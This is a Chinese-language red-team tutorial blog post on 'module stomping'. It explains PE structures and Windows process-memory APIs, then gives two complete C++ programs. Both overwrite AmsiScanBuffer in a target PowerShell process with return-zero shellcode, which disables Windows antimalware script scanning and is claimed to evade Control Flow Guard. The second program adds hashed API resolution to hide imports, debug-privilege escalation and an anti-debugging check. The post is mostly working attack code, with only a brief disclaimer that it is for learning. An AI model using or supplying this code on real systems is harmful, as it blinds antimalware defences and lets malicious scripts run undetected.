大家好,你们可以叫我凌。
我们本篇文章来讲讲模块踩踏技术,模块踩踏是网络红队当中算是中级偏高级的技术,实现门槛中等,比进程注入、进程镂空更加高级和隐蔽。
本篇是关于模块踩踏的安全技术文章,仅仅用于技术学习和讨论。
CodeCave注入 vs ModuleStomping
我们上篇文章讲到了代码洞注入,也就是 Code Cave 注入,那现在我们就来先对比下两项技术。
|----------|---------------------------------------|-------------------------|
| 对比项 | Code Cave 注入 | Module Stomping |
| 写入位置 | .text 节末尾的 padding(0x00/0xCC) | 已有导出函数的代码开头 |
| 写入目标 | 无人使用的空地 | 一个有名字、有地址、CFG 认 账的函数 |
| CFG 检查结果 | 拒绝(不是合法函数入口) | 放行(是合法函数入口) |
| 副作用 | 无(没覆盖任何东西) | 原函数被破坏,调用它会执行 Shellcode |
| 需要的 API | WriteProcessMemory+CreateRemoteThread | 同左,但多了步"查导出函数 地址" |
**总结:**Code Cave 是在非法内存进行写入,CFG 会强行阻止;Module Stomping 覆写已有函数,因为已有函数的内存在 CFG 白名单当中,所以 CFG 不会进行干扰。
涉及的核心结构体
以下仅作精简介绍,详情见微软官方文档。
IMAGE_DOS_HEADER(DOS头)
cpp
typedef struct _IMAGE_DOS_HEADER {
WORD e_magic; // MZ标记 0x5a4d
// ... 省略中间字段
LONG e_lfanew; // NT头(PE标记)相对于文件的偏移地址
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
用途:校验PE文件有效性,读取 e_lfanew 跳转到NT头。
IMAGE_NT_HEADERS(NT头)
cpp
typedef struct _IMAGE_NT_HEADERS {
DWORD Signature;
IMAGE_FILE_HEADER FileHeader;
IMAGE_OPTIONAL_HEADER OptionalHeader;
} IMAGE_NT_HEADERS, *PIMAGE_NT_HEADERS;
用途:读取 OptionalHeader.DataDirectory0 获取导出表RVA。
IMAGE_EXPORT_DIRECTORY
cpp
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;
DWORD AddressOfFunctions;
DWORD AddressOfNames;
DWORD AddressOfNameOrdinals;
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
用途:解析远程 amsi.dll 的导出表,定位 AmsiScanBuffer 的地址。
MODULEINFO(模块信息,可选)
cpp
typedef struct _MODULEINFO {
LPVOID lpBaseOfDll;
DWORD SizeOfImage;
LPVOID EntryPoint;
} MODULEINFO, *LPMODULEINFO;
用途:GetModuleInformation 返回
涉及的关键宏与常量
|------------------------------|------------|-------------------|
| 宏/常量 | 值 | 作用 |
| IMAGE_DOS_SIGNATURE | 0x5A4D | 校验DOS头("MZ") |
| IMAGE_NT_SIGNATURE | 0x00004550 | 校验NT头("PE\0\0") |
| IMAGE_DIRECTORY_ENTRY_EXPORT | 0 | 数据目录索引:导出表 |
| PROCESS_VM_READ | 0x0010 | 允许读取进程内存 |
| PROCESS_VM_WRITE | 0x0020 | 允许写入进程内存 |
| PROCESS_VM_OPERATION | 0x0008 | 允许修改进程内存属性 |
| PROCESS_QUERY_INFORMATION | 0x0400 | 允许查询进程信息 |
| PROCESS_CREATE_THREAD | 0x0002 | 允许创建远程线程 |
| PAGE_EXECUTE_READ | 0x20 | 可读可执行 |
涉及的API函数
进程与模块枚举类
OpenProcess
cpp
HANDLE OpenProcess(
[in] DWORD dwDesiredAccess,
[in] BOOL bInheritHandle,
[in] DWORD dwProcessId
);
in dwDesiredAccess
对进程对象的访问权限。此访问权限将根据进程的安全描述符进行检查。此参数可以是一 个或多个进程访问权限的任意组合。如果调用方已启用 SeDebugPrivilege 特权,则无论 安全描述符的内容如何,都会授予所请求的访问权限。
in bInheritHandle
如果此值为TRUE,则由此进程创建的进程将继承该句柄。否则,进程将不会继承此句柄。
in dwProcessId
要打开的本地进程的标识符。
权限组合: PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD
**原因:**写入内存需要 VM_WRITE 和 VM_OPERATION,创建线程需要 CREATE_THREAD, 查询模块需要 QUERY_INFORMATION
EnumProcessModules
cpp
BOOL EnumProcessModules(
[in] HANDLE hProcess,
[out] HMODULE *lphModule,
[in] DWORD cb,
[out] LPDWORD lpcbNeeded
);
in hProcess
进程的句柄。
out lphModule
接收模块句柄列表的数组。 如果此参数为 NULL,则 cb 必须为 0,并且函数会将所需字节数返回给 lpcbNeeded。
in cb
lphModule 数组的大小,以字节为单位。如果 lphModule 为 NULL,则 cb 必须为 0。
out lpcbNeeded
在 lphModule 数组中存储所有模块句柄所需的字节数。 如果 lphModule 为 NULL,则此参数接收所需字节数。 如果 cb 太小,则此参数接收所需字节数。
**用途:**获取目标进程加载的所有模块
GetModuleBaseNameA
cpp
DWORD GetModuleBaseNameA(
[in] HANDLE hProcess,
[in, optional] HMODULE hModule,
[out] LPSTR lpBaseName,
[in] DWORD nSize
);
in hProcess
包含模块的进程的句柄。
in, optional hModule
模块的句柄。如果此参数为 NULL,则此函数返回用于创建调用进程的文件的名称。
out lpBaseName
指向接收模块基名称的缓冲区的指针。 如果基名称长于 nSize 参数指定的最大字符数,则基名称将被截断。
in nSize
lpBaseName 缓冲区的大小,以字符为单位。
**用途:**获取模块文件名(如 "amsi.dll")
本地DLL加载与函数解析类
GetModuleHandleA
cpp
HMODULE GetModuleHandleA(
[in, optional] LPCSTR lpModuleName
);
in, optional lpModuleName
已加载模块的名称(.dll 或 .exe 文件)。
**用途:**如果本地已加载 amsi.dll,直接拿句柄。返回 NULL 表示未加载
LoadLibraryA
cpp
HMODULE LoadLibraryA(
[in] LPCSTR lpLibFileName
);
in lpLibFileName
模块的名称。可以是库模块(.dll 文件),也可以是可执行模块(.exe 文件)。
用途:本地未加载时,主动加载。加载后必须配对 FreeLibrary
GetProcAddress
cpp
FARPROC GetProcAddress(
[in] HMODULE hModule,
[in] LPCSTR lpProcName
);
in hModule
包含函数或变量的DLL模块的句柄。
in lpProcName
函数或变量名称,或函数的序号值。
**用途:**拿到本地 AmsiScanBuffer 的地址,用于计算RVA
FreeLibrary
cpp
BOOL FreeLibrary(
[in] HMODULE hLibModule
);
in hLibModule
已加载的库模块的句柄。
**用途:**用完即焚,把本地加载的DLL卸载 注意:只卸载自己 LoadLibraryA 的,不卸载原本就有的
跨进程内存操作类
ReadProcessMemory
cpp
BOOL ReadProcessMemory(
[in] HANDLE hProcess,
[in] LPCVOID lpBaseAddress,
[out] LPVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesRead
);
in hProcess
正在读取其内存的进程的句柄。该句柄必须具有对进程的PROCESS_VM_READ访问权限。
in lpBaseAddress
指向要从指定进程中读取的基址的指针。在进行任何数据传输之前,系统会验证基址和指 定大小的内存中的所有数据是否可读。如果不可访问,函数将失败。
out lpBuffer
指向一个缓冲区的指针,该缓冲区接收来自指定进程地址空间的内容。
in nSize
要从指定进程读取的字节数。
out lpNumberOfBytesRead
指向一个变量的指针,该变量接收传输到指定缓冲区的字节数。如果该参数LL,则该参数 被忽略。
**用途:**读取远程DOS头、NT头、导出表、函数名
WriteProcessMemory
cpp
BOOL WriteProcessMemory(
[in] HANDLE hProcess,
[in] LPVOID lpBaseAddress,
[in] LPCVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesWritten
);
**用途:**把Shellcode覆写到 AmsiScanBuffer 的地址
远程线程执行类
CreateRemoteThread
cpp
HANDLE CreateRemoteThread(
[in] HANDLE hProcess,
[in] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in] LPVOID
[in] DWORD
[out] LPDWORD
);
in hProcess
要在其中创建线程的进程句柄。
in lpThreadAttributes
指向 SECURITY_ATTRIBUTES 结构的指针,该结构指定新线程的安全描述符,并确定子进 程是否可以继承返回的句柄。如为 NULL,则线程将获取默认的安全描述符。
in dwStackSize
堆栈的初始大小(以字节为单位)。系统将此值舍入到最近的页面。 如果此参数为 0(零),则新线程使用可执行文件的默认大小。
in lpStartAddress
指向由线程执行的 LPTHREAD_START_ROUTINE 类型的应用程序定义的函数的指针,表示 远程进程中线程的起始地址。函数必须存在于远程进程中。
in lpParameter
指向要传递给线程函数的变量的指针。
in dwCreationFlags
控制线程创建的标志。这里用0:创建后,线程会立即运行。
out lpThreadId
指向接收线程标识符的变量的指针。如果此参数为 NULL,则不返回线程标识符。
**关键:**lpStartAddress 指向 AmsiScanBuffer 的地址(合法模块内),CFG会放行
WaitForSingleObject
cpp
DWORD WaitForSingleObject(
[in] HANDLE hHandle,
[in] DWORD dwMilliseconds
);
in hHandle
对象的句柄。
in dwMilliseconds
超时间隔,以毫秒为单位。
➢ 如果指定了非零值,函数会等待,直到对象处于信号状态或间隔结束。
➢ 如果 dwMilliseconds 为零,则当对象未处于信号状态时,函数不会进入等待状 态;它会立即返回。
➢ 如果 dwMilliseconds 为 INFINITE,则函数仅在对象处于信号状态时才返回。
GetExitCodeThread
cpp
BOOL GetExitCodeThread(
[in] HANDLE hThread,
[out] LPDWORD lpExitCode
);
in hThread
线程的句柄。
out lpExitCode
指向用于接收线程终止状态的变量的指针。
CloseHandle
cpp
BOOL CloseHandle(
[in] HANDLE hObject
);
in hObject
打开对象的有效句柄。
完整利用链示例
第 1 步:打开目标进程
OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION |
PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD, FALSE, pid)
│
└── 拿到 hProcess
第 2 步:在目标进程找到 amsi.dll
EnumProcessModules(hProcess, modules, sizeof(modules), &needed)
│
└── 遍历 modules,用 GetModuleBaseNameA 匹配 "amsi.dll"
│
└── 拿到 hRemoteAmsi(远程 amsi.dll 基址)
第 3 步:计算远程 AmsiScanBuffer 地址(核心)
① GetModuleHandleA("amsi.dll") → 本地句柄(未加载则 LoadLibraryA)
② GetProcAddress(hLocalModule, "AmsiScanBuffer") → 本地函数地址
③ rva = pLocalFunc - hLocalModule(本地RVA)
④ pRemoteFunc = hRemoteAmsi + rva(远程绝对地址)
⑤ FreeLibrary(hLocalModule)(用完即焚)
│
└── 拿到 pRemoteFunc(远程 AmsiScanBuffer 地址)
第 4 步:覆写 AmsiScanBuffe r
WriteProcessMemory(hProcess, pRemoteFunc, shellcode, shellcodeSize, NULL)
│
└── AmsiScanBuffer 的代码被 Shellcode 替换
第 5 步:创建远程线程执行
CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)pRemoteFunc, NULL, 0, NULL)
│
└── CFG放行(因为 pRemoteFunc 在合法模块内)
第 6 步:等待并清理
WaitForSingleObject(hThread, INFINITE)
GetExitCodeThread(hThread, &exitCode)
CloseHandle(hThread)
CloseHandle(hProcess)
文字总结:
➢ 打开进程 → 获取足够权限的句柄
➢ 枚举模块 → 找到目标DLL(如 amsi.dll)
➢ 计算远程地址 → 本地RVA + 远程基址 = 远程函数地址(核心)
➢ 覆写函数 → 用Shellcode替换原函数代码
➢ 创建远程线程 → 入口点指向被覆写的函数(CFG放行)
➢ 等待清理 → 确保执行完毕,释放资源
代码示例
第一版:明文 API 实现
cpp
#include <windows.h>
#include <psapi.h>
#include <iostream>
#include <iomanip>
#include <vector>
#pragma comment(lib, "psapi.lib")
// ================= 0. 配置 =================
unsigned char shellcode[] = {
0x31, 0xC0, // xor eax, eax
0xC3 // ret
};
SIZE_T shellcodeSize = sizeof(shellcode);
// ================= 1. 侦察:找远程模块基址 =================
HMODULE FindRemoteModule(HANDLE hProcess, const char* dllName) {
HMODULE modules[1024];
DWORD needed = 0;
if (!EnumProcessModules(hProcess, modules, sizeof(modules), &needed))
return nullptr;
DWORD count = needed / sizeof(HMODULE);
for (DWORD i = 0; i < count; i++) {
char name[MAX_PATH] = {0};
if (GetModuleBaseNameA(hProcess, modules[i], name, MAX_PATH)) {
if (_stricmp(name, dllName) == 0)
return modules[i];
}
}
return nullptr;
}
// ================= 2. 计算:利用本地 RVA 算出远程函数地址 =================
LPVOID GetRemoteProcAddress(HANDLE hProcess, HMODULE hRemoteModule, const char* dllName, const char* funcName) {
// ① 本地加载对应 DLL(如果已加载则直接用)
HMODULE hLocalModule = GetModuleHandleA(dllName);
BOOL loaded = FALSE;
if (!hLocalModule) {
hLocalModule = LoadLibraryA(dllName);
loaded = TRUE;
}
if (!hLocalModule) return nullptr;
// ② 本地找函数地址
FARPROC pLocalFunc = GetProcAddress(hLocalModule, funcName);
if (!pLocalFunc) {
if (loaded) FreeLibrary(hLocalModule);
return nullptr;
}
// ③ 算 RVA(本地地址 - 本地基址)
DWORD_PTR rva = (DWORD_PTR)pLocalFunc - (DWORD_PTR)hLocalModule;
// ④ 算远程绝对地址(远程基址 + RVA)
LPVOID pRemoteFunc = (LPVOID)((DWORD_PTR)hRemoteModule + rva);
// ⑤ 用完即焚:把本地加载的 DLL 卸载掉
if (loaded) FreeLibrary(hLocalModule);
return pRemoteFunc;
}
// ================= 3. 执行:踩踏 =================
void StompAndExecute(HANDLE hProcess, LPVOID pRemoteFunc) {
// ① 观察原字节(可选,方便调试)
std::vector<BYTE> originalBytes(shellcodeSize, 0);
SIZE_T bytesRead = 0;
ReadProcessMemory(hProcess, pRemoteFunc, originalBytes.data(), sizeof(originalBytes), &bytesRead);
std::cout << "[*] 原始前 8 字节: ";
for (SIZE_T i = 0; i < 8 && i < bytesRead; i++)
std::cout << std::hex << std::setw(2) << std::setfill('0') << (int)originalBytes[i] << " ";
std::cout << std::dec << std::endl;
// ② 鸠占鹊巢:覆写 Shellcode
if (!WriteProcessMemory(hProcess, pRemoteFunc, shellcode, shellcodeSize, NULL)) {
std::cerr << "[-] WriteProcessMemory 失败: " << GetLastError() << std::endl;
return;
}
std::cout << "[+] Shellcode 覆写成功" << std::endl;
// ③ CFG 放行:创建远程线程,入口点就是合法函数地址
HANDLE hThread = CreateRemoteThread(
hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)pRemoteFunc,
NULL, 0, NULL);
if (!hThread) {
std::cerr << "[-] CreateRemoteThread 失败: " << GetLastError() << std::endl;
return;
}
std::cout << "[+] 远程线程创建成功,等待执行..." << std::endl;
// ④ 等待执行完毕
WaitForSingleObject(hThread, INFINITE);
DWORD exitCode = 0;
GetExitCodeThread(hThread, &exitCode);
std::cout << "[+] 线程退出码: 0x" << std::hex << exitCode << std::endl;
CloseHandle(hThread);
}
// ================= 4. main:主程序 =================
int main() {
DWORD pid;
std::cout << "[*] 请输入目标进程 PID(推荐 PowerShell): ";
std::cin >> pid;
HANDLE hProcess = OpenProcess(
PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION |
PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD,
FALSE, pid);
if (!hProcess) return 1;
HMODULE hRemoteAmsi = FindRemoteModule(hProcess, "amsi.dll");
if (!hRemoteAmsi) { CloseHandle(hProcess); return 1; }
std::cout << "[+] 远程 amsi.dll 基址: 0x" << std::hex << (uintptr_t)hRemoteAmsi << std::dec << std::endl;
LPVOID pRemoteFunc = GetRemoteProcAddress(hProcess, hRemoteAmsi, "amsi.dll", "AmsiScanBuffer");
if (!pRemoteFunc) { CloseHandle(hProcess); return 1; }
std::cout << "[+] 远程 AmsiScanBuffer 地址: 0x" << std::hex << (uintptr_t)pRemoteFunc << std::dec << std::endl;
StompAndExecute(hProcess, pRemoteFunc);
CloseHandle(hProcess);
std::cout << "[+] 完成" << std::endl;
system("pause");
return 0;
}
第二版:无 IAT 版本
cpp
#include <windows.h>
#include <iostream>
#include <vector>
#include <string>
#include "EnableDebugPrivilege.h"
#include "IsDebugging.h"
#include "Hash.h"
#include "GetProcAddress.h"
unsigned char shellcode[] = {
0x31, 0xC0, // xor eax, eax
0xC3 // ret
};
SIZE_T shellcodeSize = sizeof(shellcode);
// ============================================================
// 函数指针类型定义
// ============================================================
typedef HANDLE (WINAPI *pOpenProcess)(DWORD, BOOL, DWORD);
typedef BOOL (WINAPI *pEnumProcessModules)(HANDLE, HMODULE*, DWORD, LPDWORD);
typedef DWORD (WINAPI *pGetModuleBaseNameA)(HANDLE, HMODULE, LPSTR, DWORD);
typedef BOOL (WINAPI *pWriteProcessMemory)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
typedef HANDLE (WINAPI *pCreateRemoteThread)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T,
LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD (WINAPI *pWaitForSingleObject)(HANDLE, DWORD);
typedef BOOL (WINAPI *pCloseHandle)(HANDLE);
// ============================================================
// 函数指针容器
// ============================================================
struct ApiFuncs {
pOpenProcess OpenProcess;
pEnumProcessModules EnumProcessModules;
pGetModuleBaseNameA GetModuleBaseNameA;
pWriteProcessMemory WriteProcessMemory;
pCreateRemoteThread CreateRemoteThread;
pWaitForSingleObject WaitForSingleObject;
pCloseHandle CloseHandle;
bool valid;
};
__declspec(noinline) ApiFuncs InitApiFuncs() {
ApiFuncs f{};
DWORD hKernel32 = NHash32::hash("kernel32.dll");
DWORD hPsapi = NHash32::hash("psapi.dll");
f.OpenProcess = (pOpenProcess) GetProcAddressEx(hKernel32, NHash32::hash("OpenProcess"));
f.WriteProcessMemory = (pWriteProcessMemory)GetProcAddressEx(hKernel32, NHash32::hash("WriteProcessMemory"));
f.CreateRemoteThread = (pCreateRemoteThread)GetProcAddressEx(hKernel32, NHash32::hash("CreateRemoteThread"));
f.WaitForSingleObject= (pWaitForSingleObject)GetProcAddressEx(hKernel32, NHash32::hash("WaitForSingleObject"));
f.CloseHandle = (pCloseHandle) GetProcAddressEx(hKernel32, NHash32::hash("CloseHandle"));
f.EnumProcessModules = (pEnumProcessModules)GetProcAddressEx(hPsapi, NHash32::hash("EnumProcessModules"));
f.GetModuleBaseNameA = (pGetModuleBaseNameA)GetProcAddressEx(hPsapi, NHash32::hash("GetModuleBaseNameA"));
if (!f.EnumProcessModules)
f.EnumProcessModules = (pEnumProcessModules)GetProcAddressEx(hKernel32, NHash32::hash("K32EnumProcessModules"));
if (!f.GetModuleBaseNameA)
f.GetModuleBaseNameA = (pGetModuleBaseNameA)GetProcAddressEx(hKernel32, NHash32::hash("K32GetModuleBaseNameA"));
f.valid = f.OpenProcess && f.EnumProcessModules && f.GetModuleBaseNameA
&& f.WriteProcessMemory && f.CreateRemoteThread
&& f.WaitForSingleObject && f.CloseHandle;
return f;
}
// ============================================================
// 在目标进程里按模块名找到模块基址
// ============================================================
__declspec(noinline)
HMODULE FindModuleByName(HANDLE hProcess, const ApiFuncs& f, const char* targetName) {
HMODULE modules[1024];
DWORD needed = 0;
if (!f.EnumProcessModules(hProcess, modules, sizeof(modules), &needed))
return nullptr;
DWORD count = needed / sizeof(HMODULE);
for (DWORD i = 0; i < count; i++) {
char modName[MAX_PATH] = {0};
f.GetModuleBaseNameA(hProcess, modules[i], modName, MAX_PATH);
if (_stricmp(modName, targetName) == 0) {
return modules[i];
}
}
return nullptr;
}
// ============================================================
// 在主进程里解析远程 amsi.dll 的导出表,找到 AmsiScanBuffer 的地址
// 注意:这里需要跨进程读内存来解析导出表
// ============================================================
typedef BOOL (WINAPI *pReadProcessMemory)(HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T*);
__declspec(noinline)
LPVOID FindRemoteExport(HANDLE hProcess, pReadProcessMemory ReadProcessMemory,
HMODULE hRemoteModule, DWORD funcHash) {
BYTE* remoteBase = (BYTE*)hRemoteModule;
// ① 读远程 DOS 头
BYTE localDos[0x40] = {0};
if (!ReadProcessMemory(hProcess, remoteBase, localDos, 0x40, NULL))
return nullptr;
IMAGE_DOS_HEADER* pDos = (IMAGE_DOS_HEADER*)localDos;
if (pDos->e_magic != IMAGE_DOS_SIGNATURE) return nullptr;
// ② 读远程 NT 头
BYTE localNt[0x108] = {0};
if (!ReadProcessMemory(hProcess, remoteBase + pDos->e_lfanew,
localNt, 0x108, NULL))
return nullptr;
IMAGE_NT_HEADERS* pNt = (IMAGE_NT_HEADERS*)localNt;
if (pNt->Signature != IMAGE_NT_SIGNATURE) return nullptr;
DWORD expRva = pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (expRva == 0) return nullptr;
// ③ 读远程导出表
IMAGE_EXPORT_DIRECTORY localExport = {0};
if (!ReadProcessMemory(hProcess, remoteBase + expRva,
&localExport, sizeof(localExport), NULL))
return nullptr;
DWORD numberOfNames = localExport.NumberOfNames;
DWORD addressOfNames = localExport.AddressOfNames;
DWORD addressOfNameOrdinals = localExport.AddressOfNameOrdinals;
DWORD addressOfFunctions = localExport.AddressOfFunctions;
// ④ 遍历名字数组
for (DWORD i = 0; i < numberOfNames; i++) {
DWORD nameRVA = 0;
if (!ReadProcessMemory(hProcess,
remoteBase + addressOfNames + i * 4,
&nameRVA, 4, NULL))
return nullptr;
char funcName[256] = {0};
if (!ReadProcessMemory(hProcess, remoteBase + nameRVA,
funcName, sizeof(funcName) - 1, NULL))
return nullptr;
if (NHash32::hash(funcName) == funcHash) {
// 找到匹配,读序号
WORD ordinal = 0;
if (!ReadProcessMemory(hProcess,
remoteBase + addressOfNameOrdinals + i * 2,
&ordinal, 2, NULL))
return nullptr;
// 读函数 RVA
DWORD funcRVA = 0;
if (!ReadProcessMemory(hProcess,
remoteBase + addressOfFunctions + ordinal * 4,
&funcRVA, 4, NULL))
return nullptr;
return remoteBase + funcRVA;
}
}
return nullptr;
}
// ============================================================
// 主流程
// ============================================================
int main() {
EnableDebugPrivilege();
if (IsDebuggingA()) {
std::cerr << "[-] 检测到调试器" << std::endl;
return 0;
}
ApiFuncs f = InitApiFuncs();
if (!f.valid) {
std::cerr << "[-] 函数解析失败" << std::endl;
return 1;
}
std::cout << "[+] 所有函数解析成功" << std::endl;
// 拿 ReadProcessMemory(这里用原生 API 简化,你可以改成哈希解析)
pReadProcessMemory ReadProcessMemory = (pReadProcessMemory)
GetProcAddressEx(NHash32::hash("kernel32.dll"),
NHash32::hash("ReadProcessMemory"));
// 输入目标 PID(PowerShell 进程)
DWORD pid;
std::cout << "[*] 请输入 PowerShell 进程 PID: ";
std::cin >> pid;
HANDLE hProcess = f.OpenProcess(
PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION |
PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD,
FALSE, pid);
if (!hProcess) {
std::cerr << "[-] OpenProcess 失败: " << GetLastError() << std::endl;
return 1;
}
// ① 在目标进程里找到 amsi.dll
HMODULE hAmsi = FindModuleByName(hProcess, f, "amsi.dll");
if (!hAmsi) {
std::cerr << "[-] 目标进程未加载 amsi.dll" << std::endl;
f.CloseHandle(hProcess);
return 1;
}
std::cout << "[+] amsi.dll 基址: 0x" << std::hex
<< (uintptr_t)hAmsi << std::dec << std::endl;
// ② 解析远程 amsi.dll 的导出表,找到 AmsiScanBuffer
LPVOID pAmsiScanBuffer = FindRemoteExport(
hProcess, ReadProcessMemory, hAmsi,
NHash32::hash("AmsiScanBuffer"));
if (!pAmsiScanBuffer) {
std::cerr << "[-] 未找到 AmsiScanBuffer" << std::endl;
f.CloseHandle(hProcess);
return 1;
}
std::cout << "[+] AmsiScanBuffer 地址: 0x" << std::hex
<< (uintptr_t)pAmsiScanBuffer << std::dec << std::endl;
// ③ 用 WriteProcessMemory 覆写 AmsiScanBuffer
if (!f.WriteProcessMemory(hProcess, pAmsiScanBuffer,
shellcode, shellcodeSize, NULL)) {
std::cerr << "[-] WriteProcessMemory 失败: " << GetLastError() << std::endl;
f.CloseHandle(hProcess);
return 1;
}
std::cout << "[+] AmsiScanBuffer 已被覆写" << std::endl;
// ④ 创建远程线程,入口点指向 AmsiScanBuffer
// 注:CFG 会放行,因为这是合法导出函数入口
HANDLE hThread = f.CreateRemoteThread(
hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)pAmsiScanBuffer,
NULL, 0, NULL);
if (!hThread) {
std::cerr << "[-] CreateRemoteThread 失败: " << GetLastError() << std::endl;
f.CloseHandle(hProcess);
return 1;
}
f.WaitForSingleObject(hThread, INFINITE);
f.CloseHandle(hThread);
f.CloseHandle(hProcess);
std::cout << "[+] 模块踩踏完成!AMSI 已被打残。" << std::endl;
system("pause");
return 0;
}
对比实验:两版差异
其他必要知识点扩展
模块踩踏的核心优势
➢ 不分配新内存:内存扫描工具看不到异常的 PAGE_EXECUTE_READWRITE 页
➢ 不创建新模块:模块列表中看不到新增DLL
➢ CFG放行:入口点落在合法模块内,控制流保护不会拦截
为什么 AmsiScanBuffer 是经典目标
AMSI(Antimalware Scan Interface)是 Windows 的反恶意软件扫描接口:
➢ PowerShell、VBA、JScript 等脚本引擎调用 AmsiScanBuffer 扫描脚本内容
➢ 如果 AmsiScanBuffer 被覆写为 xor eax, eax; ret(返回 0),则所有脚本都会被判定为 "安全"
这是绕过AMSI检测的经典手法
典型Shellcode(本章使用):
cpp
unsigned char shellcode[] = {
0x31, 0xC0, // xor eax, eax → 返回 0(S_OK)
0xC3 // ret
};
模块踩踏绕CFG的原理:
➢ 入口点 pRemoteFunc 指向 amsi.dll 内的 AmsiScanBuffer
➢ CFG 检查时发现地址在合法模块内 → 放行
➢ 实际上该地址的代码已经被覆写为Shellcode
本地RVA + 远程基址 = 远程函数地址
核心公式:
远程函数地址 = 远程模块基址 + (本地函数地址 - 本地模块基址)
= 远程模块基址 + RVA
为什么成立
➢ 同一个DLL在不同进程中的RVA(相对虚拟地址)是相同的
➢ 因为PE文件的节区布局在编译时就确定了
➢ ASLR只改变基址,不改变RVA
